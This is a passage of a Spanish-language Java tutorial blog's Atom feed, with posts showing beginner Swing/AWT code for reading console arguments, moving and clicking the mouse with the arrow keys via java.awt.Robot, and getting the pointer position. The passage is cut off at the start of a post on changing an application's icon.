justify;"&gt;Aprenderemos como podemos recibir&amp;nbsp;parámetros&amp;nbsp;pasados por consola a nuestras aplicaciones. Con esto podemos recibir datos de gran&amp;nbsp;importancia&amp;nbsp;para el correcto funcionamiento de nuestra&amp;nbsp;aplicación.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-6_9vA9OkzWc/TrLrn4xrEnI/AAAAAAAAAgQ/QwAUJMUw-J0/s1600/ParametrosPorComando+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="236" src="http://2.bp.blogspot.com/-6_9vA9OkzWc/TrLrn4xrEnI/AAAAAAAAAgQ/QwAUJMUw-J0/s400/ParametrosPorComando+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.*;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame{&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(String s){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JTextArea txt=new JTextArea();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;txt.setText(s);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(new JScrollPane(txt));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String[] args) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal(args[0]);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setBounds(0, 0, 200, 200);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setLocationRelativeTo(null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setDefaultCloseOperation(EXIT_ON_CLOSE);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El proyecto lo pueden descargar desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/7VRBKGWZ/ParametrosPorComando.rar"&gt;aquí&lt;/a&gt;, se incluyen los archivos fuentes, el ejecutable y las&amp;nbsp;imágenes&amp;nbsp;que demuestran su funcionamiento.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-5259255776672858349?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/5259255776672858349/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/leer-parametros-pasados-por-consola.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5259255776672858349'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/5259255776672858349'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/leer-parametros-pasados-por-consola.html' title='Leer parámetros pasados por consola'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-6_9vA9OkzWc/TrLrn4xrEnI/AAAAAAAAAgQ/QwAUJMUw-J0/s72-c/ParametrosPorComando+-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-6109324448352233675</id><published>2011-11-03T13:17:00.001-05:00</published><updated>2012-01-29T22:00:22.497-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mouse con teclado'/><category scheme='http://www.blogger.com/atom/ns#' term='controlar el mouse con el teclado'/><title type='text'>Manejar el Mouse con el teclado</title><content type='html'>&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Manejar el Mouse con el teclado&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hoy veremos como podemos utilizar las flechas de nuestro teclado para poder mover el puntero del mouse, ademas podremos dar clics.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Instrucciones&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Flecha arriba &amp;nbsp;---&amp;gt; &amp;nbsp;mueve 5 pixeles hacia arriba el puntero&lt;br /&gt;Flecha abajo &amp;nbsp;---&amp;gt; &amp;nbsp;mueve 5 pixeles hacia abajo el puntero&lt;br /&gt;Flecha derecha ---&amp;gt; mueve 5 pixeles hacia la derecha&lt;br /&gt;Flecha izquierda ---&amp;gt; mueve 5 pixeles hacia la izquierda&lt;br /&gt;Enter ---&amp;gt; Da un clic&lt;br /&gt;Escape ---&amp;gt; Finaliza la&amp;nbsp;aplicación&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Codigo&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.AWTException;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.MouseInfo;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.Robot;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.InputEvent;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.KeyEvent;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.event.KeyListener;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JDialog;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JDialog{&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;Robot r;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;int x=0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;int y=0;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;r=new Robot();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (AWTException e1) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;// TODO Auto-generated catch block&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e1.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;addKeyListener(new KeyListener(){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyPressed(KeyEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;x=MouseInfo.getPointerInfo().getLocation().x;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;y=MouseInfo.getPointerInfo().getLocation().y;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_DOWN){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;y+=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_UP){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;y-=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_LEFT){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;x-=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_RIGHT){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;x+=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_DOWN &amp;amp;&amp;amp; e.getKeyCode()==KeyEvent.VK_LEFT){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;y+=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;x-=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_UP &amp;amp;&amp;amp; e.getKeyCode()==KeyEvent.VK_LEFT){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;y-=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;x-=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_DOWN &amp;amp;&amp;amp; e.getKeyCode()==KeyEvent.VK_RIGHT){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;y+=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;x+=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_UP &amp;amp;&amp;amp; e.getKeyCode()==KeyEvent.VK_RIGHT){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;y-=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;x+=5;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_ENTER){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;r.mousePress(InputEvent.BUTTON1_MASK);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;r.mouseRelease(InputEvent.BUTTON1_MASK);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;Principal.this.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(e.getKeyCode()==KeyEvent.VK_ESCAPE){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;System.exit(0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;r.mouseMove(x, y);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyReleased(KeyEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;// TODO Auto-generated method stub&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyTyped(KeyEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;// TODO Auto-generated method stub&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public static void main(String[] args) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;Principal p=new Principal();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setUndecorated(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;p.setAlwaysOnTop(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pueden descargar el proyecto completo desde&amp;nbsp;&lt;a href="http://www.kickupload.com/files/EGLF45E0/MoverMouseTeclado.rar"&gt;aquí&lt;/a&gt;, se incluyen los archivos fuentes, el ejecutable y las&amp;nbsp;imágenes&amp;nbsp;que demuestran su funcionamiento.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-6109324448352233675?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/6109324448352233675/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/manejar-el-mouse-con-el-teclado.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6109324448352233675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/6109324448352233675'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/manejar-el-mouse-con-el-teclado.html' title='Manejar el Mouse con el teclado'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-7244825893982611178</id><published>2011-11-03T12:45:00.002-05:00</published><updated>2011-11-20T22:18:54.583-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='posicion del mouse'/><category scheme='http://www.blogger.com/atom/ns#' term='obtener posicion mouse'/><title type='text'>Como obtener la posición del Mouse</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Como obtener la posición del Mouse&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;No se si &amp;nbsp;a alguien le ha pasado, que quiere obtener la&amp;nbsp;posición&amp;nbsp;&lt;b&gt;X&lt;/b&gt; y &lt;b&gt;Y&lt;/b&gt; del puntero, pero necesita implementar MouseListener o MouseMotionListener para conseguir dicha posicion, pero a veces ni asi funciona, y seguimos con la pregunta de como obtener esa posicion, bueno aqui esta la soluciona esa pregunta.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El metodo a utilizar es getPointerInfo() que nos devuelve informacion del mouse o puntero, metodo de la clase MouseInfo,&amp;nbsp;dicha clase tiene el constructor privado,&amp;nbsp;asi que no podremos instanciarla, &amp;nbsp;pero si podremos usar sus metodos estaticos, con getLocation() podremos obtener la ubicacion del puntero. Esto nos devuelve un objeto Point, y ya con este objeto podremos obtener los valores &lt;b&gt;X&lt;/b&gt;&amp;nbsp;y &lt;b&gt;Y&lt;/b&gt; del puntero.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Point punto=MouseInfo.getPointerInfo().getLocation();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;int x=punto.x;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;int y=punto.y;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;De esta forma podremos saber cual es la posicion exacta del mouse en pantalla.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-7244825893982611178?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/7244825893982611178/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/como-obtener-la-posicion-del-mouse.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/7244825893982611178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/7244825893982611178'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2011/11/como-obtener-la-posicion-del-mouse.html' title='Como obtener la posición del Mouse'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-4601274990934781051</id><published>2011-10-25T17:15:00.001-05:00</published><updated>2011-11-20T22:19:43.921-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='iconos'/><category scheme='http://www.blogger.com/atom/ns#' term='cambiar iconos de tu aplicacion'/><title type='text'>Como cambiar el icono de tus aplicaciones</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Como cambiar el icono de tus aplicaciones&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Hoy veremos como podemos cambiar el icono que nos muestra &lt;b&gt;Windows&lt;/b&gt;, por lo general si no se especifica se coloca el icono de java. Hoy veremos como cambiarlo.&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Imágenes&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-RVoBZ13gDHE/Tqcz2S-ExmI/AAAAAAAAAgE/A-gAAZEQfD0/s1600/ColocarImagenEnWindows+1+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="185" src="http://1.bp.blogspot.com/-RVoBZ13gDHE/Tqcz2S-ExmI/AAAAAAAAAgE/A-gAAZEQfD0/s400/ColocarImagenEnWindows+1+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Como pueden ver el icono de la aplicacion cambio, ahora ya no es el de java, si no un icono del juego&amp;nbsp;&lt;span class="Apple-style-span" style="background-color: white; color: #222222; font-family: arial, sans-serif; font-size: x-small; line-height: 16px;"&gt;&lt;em style="color: black; font-style: normal; font-weight: bold;"&gt;Assassin's Creed.&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.Toolkit;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import 